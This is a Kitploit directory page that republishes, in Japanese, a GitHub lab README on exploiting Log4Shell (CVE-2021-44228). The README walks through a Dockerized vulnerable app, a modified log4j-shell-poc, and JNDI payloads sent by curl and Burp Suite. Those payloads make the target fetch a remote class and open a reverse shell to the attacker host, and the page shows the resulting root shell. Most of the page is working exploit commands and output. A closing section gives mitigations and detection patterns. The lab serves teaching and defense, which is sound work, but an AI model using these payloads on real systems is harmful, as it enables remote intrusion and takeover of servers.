Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Log4Shell-CVE-2021-44228 — Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only. | Kitploit
ツール/GitHubGitHub/drhaitham/log4shell-cve-2021-44228
Payload GenerationVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed Teaming

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
Labs & Practice
GitHubdrhaitham/log4shell-cve-2021-44228

Log4Shell-CVE-2021-44228

Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only.

リポジトリを見る
8ヶ月前未レビュー

Log4Shell(CVE-2021-44228)の悪用:完全かつ最新の実証ラボ

Log4Shell(CVE-2021-44228)は、これまでに公開された中で最も影響力のあるリモートコード実行の脆弱性の1つです。この脆弱性は、広く使用されているJavaロギングフレームワークであるApache Log4j 2に影響し、攻撃者がログメッセージ内のJNDIルックアップを悪用して任意のコードを実行することを可能にします。

このガイドでは、以下を使用した完全で再現可能なデモンストレーションラボを提供します。

  • Kali Linux(攻撃者)
  • Docker化された脆弱なLog4j2アプリケーション
  • 公開PoC log4j-shell-poc
  • curl、Burp Suite、Netcat

これは、管理された環境での教育、研究、トレーニング、防御意識向上のために設計されています。 構造とスタイルは、関連する「Shellshock」ラボのREADMEと同じ精神に従っています。


📌 目次

  1. 法的・倫理的通知
  2. 概要
  3. 学習目標
  4. ラボアーキテクチャ
  5. 前提条件
  6. KaliへのJDK 1.8.0_202のインストール
  7. 脆弱なLog4jアプリケーションのデプロイ(Docker)
  8. エクスプロイトPoCの準備
  9. poc.pyのJDK 1.8.0_202使用設定
  10. エクスプロイトサービスの起動(LDAP + HTTP + ペイロード)
  11. リバースシェルリスナーの起動
  12. curl経由でのLog4Shell悪用
  13. Burp Suite経由でのLog4Shell悪用
  14. 攻撃チェーンの仕組み
  15. 対策と防御
  16. コマンド早見表
  17. スクリーンショット集(任意)
  18. 参考資料
  19. クレジット

0. 法的・倫理的通知

このラボは、明示的な許可を得た管理環境(自身のラボ、教室のVMなど)でのみ実施する必要があります。

  • 本番システムを攻撃しないでください。
  • 自分が所有または管理していないホストに対して実行しないでください。
  • この資料は教育、研究、防御目的のみに使用してください。

1. 概要

Log4Shell(CVE-2021-44228)は、Apache Log4j 2における重大なRCE脆弱性です。

問題は、脆弱なLog4j2バージョンが攻撃者制御の文字列(次のようなもの)を解釈することに起因します。

root@kitploit:~
${jndi:ldap://ATTACKER_IP:1389/a}

この文字列がログに記録されると、Log4jは以下の処理を行います。

  1. 攻撃者が制御するサーバーに対してJNDIルックアップ(例:LDAP経由)を実行します。
  2. 悪意のあるJavaクラスへの参照を受け取ります。
  3. HTTP経由でクラスをダウンロードし、JVMにロードします。
  4. それを実行し、リモートコード実行を実現します。

このラボでは、以下のことを行います。

  • 脆弱なLog4j2 WebアプリケーションをDockerコンテナ内で実行します。
  • log4j-shell-pocを使用してKali上で悪意のあるLDAP + HTTPサーバーを実行します。
  • curlおよびBurp Suite経由でLog4Shellペイロードを配信します。
  • 脆弱なコンテナからリバースシェルを取得します。

2. 学習目標

このラボの終了時点で、以下のことができるようになるはずです。

  1. Log4Shellがどのように機能するか、JNDIが誤用された場合に危険な理由を高レベルで説明できる。
  2. Dockerを使用して脆弱なLog4j2アプリケーションをデプロイできる。
  3. PoCで必要となるJDK 1.8.0_202をインストールおよび設定できる。
  4. PoCスクリプトを介して悪意のあるLDAPサーバーとHTTPサーバーを実行できる。
  5. 脆弱性をトリガーしてリバースシェルを取得できる。
  6. Burp Suiteを使用してHTTPヘッダーにエクスプロイトを注入できる。
  7. 現実的な緩和策と検出戦略について議論できる。

3. ラボアーキテクチャ

すべてのコンポーネントは、既存の仮想ラボ上で実行されます。この文書では、以下の想定とします。

  • Kali Linux VM が攻撃者です。
  • Kali は脆弱なアプリを含むDockerコンテナも実行します。

キーアイデア

攻撃者は以下の文字列を注入します。

root@kitploit:~
${jndi:ldap://192.168.1.4:1389/a}

をHTTPヘッダーに。脆弱なアプリはそれをLog4j2でログに記録 → 192.168.1.4:1389 に対してJNDI LDAPルックアップを実行 → http://192.168.1.4:8000 から悪意のあるクラスをダウンロード → そのクラスを実行し、192.168.1.4:9001 へのリバースシェルを開きます。


4. 前提条件

Kali には以下が必要です。

  • Docker(インストール済みで動作すること)
  • Python 3(Kaliのデフォルト)
  • Netcat(nc)
  • Burp Suite(Community Editionで十分)
  • 初期ダウンロードのためのインターネットアクセス
  • LinuxとHTTPに関する基本的な知識

このガイド全体で、KaliのIPは次のとおりとします。

root@kitploit:~
192.168.1.4

IPが異なる場合は、すべてのコマンドを適宜調整してください。


5. KaliへのJDK 1.8.0_202のインストール(必須)

PoCは、**Java SE 8 Update 202(JDK 1.8.0_202)**に依存しています。これは、それ以降のJavaバージョンではこのエクスプロイトで使用されるリモートクラスローディング動作が制限されるためです。

KaliにすでにOpenJDK 21(または類似のもの)がインストールされていても、8u202を別途インストールする必要があります。

5.1 作業ディレクトリを作成

root@kitploit:~
mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 HuaweiCloudミラーからJDK 8u202をダウンロード

ミラールート:

root@kitploit:~
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Linux x64 tarball(約185 MB)をダウンロード:

root@kitploit:~
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # 約185Mのはず

5.3 /usr/bin/jdk1.8.0_202 に展開

root@kitploit:~
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

--strip-components=1 オプションは、アーカイブのトップレベルディレクトリを削除し、ファイルが /usr/bin/jdk1.8.0_202 の直下に配置されるようにします。

5.4 インストールの確認

root@kitploit:~
/usr/bin/jdk1.8.0_202/bin/java -version

期待される出力:

root@kitploit:~
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

これが表示されれば、JDK 1.8.0_202 は正しくインストールされています。


6. 脆弱なLog4jアプリケーションのデプロイ(Docker on Kali)

Kaliの新しいターミナルで(~/Log4Shell にい続けて構いません):

root@kitploit:~
docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

次のようなログが表示されるはずです。

root@kitploit:~
:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
  • これでアプリは Kali から http://127.0.0.1:8080/ でアクセス可能になります。
  • このターミナルは実行したままにしてください。 これがターゲットです。

簡単な動作確認:

root@kitploit:~
curl http://127.0.0.1:8080/

Whitelabel Error Page(HTTP 400)が表示されるかもしれません。問題ありません。必要なのはアプリが実行され、リクエストをログに記録することだけです。


7. エクスプロイトPoCの準備(on Kali)

7.1 log4j-shell-poc のクローン

新しいターミナルで:

root@kitploit:~
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

ファイルを確認:

root@kitploit:~
ls
# poc.py, target/, README, etc. Exploit.java は後で生成されます。

8. poc.py のJDK 1.8.0_202使用設定

デフォルトでは、poc.py はリポジトリ内の jdk1.8.0_20 というディレクトリにローカルJDKがあることを期待します。代わりにJDK 8u202を /usr/bin/jdk1.8.0_202 にインストールしたため、スクリプトを更新する必要があります。

8.1 poc.py をエディタで開く

root@kitploit:~
nano poc.py

8.2 元のJavaパスの行を特定

jdk1.8.0_20 を検索します(nanoの場合: Ctrl+W、jdk1.8.0_20 と入力し、Enter)。

次のような3か所が見つかるはずです。

root@kitploit:~
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])

exit_code = subprocess.call([
    os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

8.3 JDK 8u202への絶対パスに置き換え

次のように置き換えます。

root@kitploit:~
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])

exit_code = subprocess.call([
    "/usr/bin/jdk1.8.0_202/bin/java",
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    "/usr/bin/jdk1.8.0_202/bin/java",
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

保存して終了:

  • Ctrl + O → Enter
  • Ctrl + X

これでPoCは /usr/bin の JDK 1.8.0_202 を使用するようになります。


9. エクスプロイトサービスの起動(LDAP + HTTP + ペイロード生成)

~/Log4Shell/log4j-shell-poc から:

9.1 PoCスクリプトの実行

root@kitploit:~
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

パラメータ:

  • --userip – Kali IP(攻撃者): 例 192.168.1.4。
  • --webport – 組み込みHTTPサーバーのポート: 8000。
  • --lport – ペイロードが接続してくるポート: 9001。

すべてが正しく設定されていれば、次のような表示がされるはずです。

root@kitploit:~
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389

重要:

  • LDAPサーバー はポート 1389 で待機しています。

  • HTTPサーバー はポート 8000 で待機しています。

  • 注入する正確なペイロードが表示されます:

    root@kitploit:~
    ${jndi:ldap://192.168.1.4:1389/a}
    

このターミナルは実行したままにしておきます。


10. リバースシェルリスナーの起動(Netcat)

Kaliでさらに別の新しいターミナルを開きます:

root@kitploit:~
nc -nvlp 9001

次のように表示されるはずです。

root@kitploit:~
listening on [any] 9001 ...

このリスナーが脆弱なアプリケーションからのリバースシェルを受け取ります。

この時点で、以下のものが起動しているはずです。

  1. 脆弱なアプリを実行しているDockerコンテナ(ポート 8080)。
  2. poc.py がLDAP(1389)とHTTP(8000)を実行中。
  3. Netcat が 9001 で待機中。

11. curl経由でのLog4Shell悪用

まず、生のHTTPリクエストを使用してエクスプロイトが動作することを確認します。

新しいターミナル(または使用可能なターミナルを再利用)で:

root@kitploit:~
curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

何が起こるか:

  1. 脆弱なアプリがリクエストを受信し、X-Api-Version ヘッダーをログに記録します。
  2. Log4j2 が ${jndi:ldap://192.168.1.4:1389/a} を認識し、JNDI LDAPルックアップを実行します。
  3. あなたのLDAPサーバー(poc.py内)が、HTTPサーバー上でホストされている悪意のあるJavaクラスへの参照で応答します。
  4. アプリはそのクラスをダウンロードして実行します。
  5. そのクラスは 192.168.1.4:9001 に接続し、シェルを生成します。

成功すると、Netcatターミナルに次のように表示されます。

root@kitploit:~
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...

これでDockerコンテナ内のrootシェルを取得できました。

試してみてください:

root@kitploit:~
id
hostname
ls /

終了するには:

root@kitploit:~
exit

Netcatは待機状態に戻ります。


12. Burp Suite経由でのLog4Shell悪用(ブラウザ形式)

次に、Burp Suite を介したブラウザを使用して同じエクスプロイト経路を実演します。

12.1 FirefoxをBurpのプロキシとして設定

  1. Kaliで Burp Suite を起動します。

  2. Burpで、プロキシリスナーが 127.0.0.1:8080 で動作していることを確認します。

  3. Firefoxで:

    • 設定 → ネットワーク設定 → 手動プロキシ設定。
    • HTTPプロキシ: 127.0.0.1、ポート: 8080。
    • 「HTTPSのためにもこのプロキシを使う」 にチェックを入れます。
    • 127.0.0.1 の除外リストがないことを確認します。

12.2 最初のリクエストをキャプチャ

  1. Burp → Proxy → Intercept で、InterceptがON であることを確認します。

  2. Firefoxで、次のURLにアクセスします。

    root@kitploit:~
    http://127.0.0.1:8080/
    
  3. Burpにインターセプトされたリクエストが表示されます。例:

    root@kitploit:~
    GET / HTTP/1.1
    Host: 127.0.0.1:8080
    User-Agent: Mozilla/5.0 ...
    ...
    

12.3 リクエストをRepeaterに送信

  1. Proxy → Intercept タブで、リクエストを右クリックします。
  2. Send to Repeater を選択します。
  3. Repeater タブに切り替えます。

12.4 HTTPヘッダーにLog4Shellペイロードを注入

Repeaterで、リクエストを変更して X-Api-Version ヘッダーを含めます:

root@kitploit:~
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

注意:

  • 192.168.1.4 を実際のKali IP(異なる場合)に置き換えてください。
  • ${} の文字をURLエンコードしないでください – そのままの形で表示される必要があります。
  • Connection: close は処理を簡素化します(オプション)。

12.5 悪意のあるリクエストを送信

  1. poc.py とNetcatリスナーがまだ実行中であることを確認します。
  2. Burp Repeaterで Send をクリックします。

再度 400 Whitelabel Error Page が表示されるかもしれません。問題ありません。

Netcatターミナルを確認します。

root@kitploit:~
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...

今回もrootシェルをコンテナ上で取得できました。今回は Burpで変更したHTTPリクエスト を使用し、現実的なWebエクスプロイトワークフローを再現しています。


13. 攻撃チェーンの仕組み(技術概要)

  1. 攻撃者がJNDIペイロードを作成:

    root@kitploit:~
    ${jndi:ldap://192.168.1.4:1389/a}
    
  2. 脆弱なアプリケーションがこの文字列をLog4j2でログに記録します。

  3. Log4j2は ${jndi:...} を解釈し、JNDIルックアップを実行します。

  4. ルックアップはLDAPを使用して攻撃者のLDAPサーバー (192.168.1.4:1389) に接続します。

  5. LDAPサーバー(marshalsec)は、HTTP経由でホストされた攻撃者制御のクラスを指す javaNamingReference で応答します。例:

    root@kitploit:~
    http://192.168.1.4:8000/Exploit.class
    
  6. 被害者のJVMがこのクラスをダウンロードしてロードします。

  7. クラスのコンストラクタが 192.168.1.4:9001 へのソケットを開き、/bin/sh をバインドします。

  8. 攻撃者のNetcatリスナーが着信接続を受信し、コンテナ内でリモートrootシェルを取得します。


14. 対策と防御

実際の環境では、複数の防御層を適用する必要があります。

14.1 Log4j2のアップグレード

  • 2.17.1以降(またはベンダー推奨のセキュアバージョン)にアップグレードします。
  • これらのバージョンは、デフォルトでJNDIルックアップを無効化または大幅に制限します。

14.2 JNDI / メッセージルックアップの無効化

まだ脆弱なデプロイメントの場合、次を追加します。

root@kitploit:~
-Dlog4j2.formatMsgNoLookups=true

(該当する場合 – このフラグだけではすべての脆弱な設定が修正されるわけではないことに注意。)

14.3 log4j-core JARから JndiLookup を削除

多層防御の手段として:

root@kitploit:~
zip -q -d log4j-core-*.jar \
  org/apache/logging/log4j/core/lookup/JndiLookup.class

14.4 アウトバウンドネットワークアクセスの強化

  • アプリケーションサーバーからのアウトバウンドLDAP、RMI、および任意のHTTPを制限します。
  • エグレスフィルタリングと厳格なファイアウォールポリシーにより、サーバーが攻撃者制御のインフラに到達するのを防ぐことができます。

14.5 検出と監視

  • ${jndi: や ${${lower:j}${upper:ndi}: などの疑わしいパターンをログで検索します。
  • サーバーからの異常なアウトバウンドLDAP/RMI接続を監視します。
  • Log4Shellの指標やPoCトラフィックに対するIDS/IPS/SIEMルールを導入します。

15. コマンド早見表

このラボで使用するコマンドの簡潔な概要です。

15.1 作業ディレクトリ

root@kitploit:~
mkdir -p ~/Log4Shell
cd ~/Log4Shell

15.2 JDK 8u202のダウンロード(約185 MB)

root@kitploit:~
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz

15.3 JDK 1.8.0_202のインストール

root@kitploit:~
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

/usr/bin/jdk1.8.0_202/bin/java -version

15.4 脆弱なDockerアプリケーションの実行

root@kitploit:~
docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

15.5 PoCリポジトリのクローン

root@kitploit:~
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

15.6 poc.py のJavaパス更新(概要)

次の部分を置き換え:

root@kitploit:~
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java")  # 2か所

次のように:

root@kitploit:~
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"

15.7 PoCの起動(LDAP + HTTP + ペイロード)

root@kitploit:~
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

15.8 Netcatリバースシェルリスナー

root@kitploit:~
nc -nvlp 9001

15.9 curl 経由でのエクスプロイト

root@kitploit:~
curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

15.10 ヘッダー用ペイロード文字列

root@kitploit:~
${jndi:ldap://192.168.1.4:1389/a}

15.11 Burp Repeaterヘッダー

root@kitploit:~
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}

16. スクリーンショット集(任意)


17. 参考資料

  • オリジナルPoC: kozmer/log4j-shell-poc
  • 脆弱なデモアプリケーション: christophetd/log4shell-vulnerable-app
  • Apache Log4j セキュリティ脆弱性: https://logging.apache.org/log4j/2.x/security.html
  • CVE-2021-44228のNIST NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

18. クレジット

Log4Shell(CVE-2021-44228)教育ラボ – 世界中の学生、防御者、倫理的ハッカーのために心を込めて作成されました。

愛情を込めて作成者:
オマーンのHaitham ❤️🇴🇲

ツールをダウンロード
コンポーネント役割 / 説明ツール / サービスアドレス例
Kali Linux VM(攻撃者+ホスト)PoCエクスプロイト、LDAPサーバー、HTTPサーバー、Netcatリスナー、Burp Suiteを実行Python 3、JDK 1.8.0_202、Netcat、Burp Suite、Docker、curl、Git192.168.1.4(Kali IP例)
脆弱なLog4j2 Webアプリケーションターゲット。Log4Shellに対して脆弱なSpring Boot WebアプリDockerイメージ: ghcr.io/christophetd/log4shell-vulnerable-apphttp://127.0.0.1:8080 で公開
説明画像
JDKインストール / 環境設定
PoCスクリプト実行(トリガーペイロード)
脆弱なTomcat Webアプリケーション実行中
PoCエクスプロイトスクリプトの更新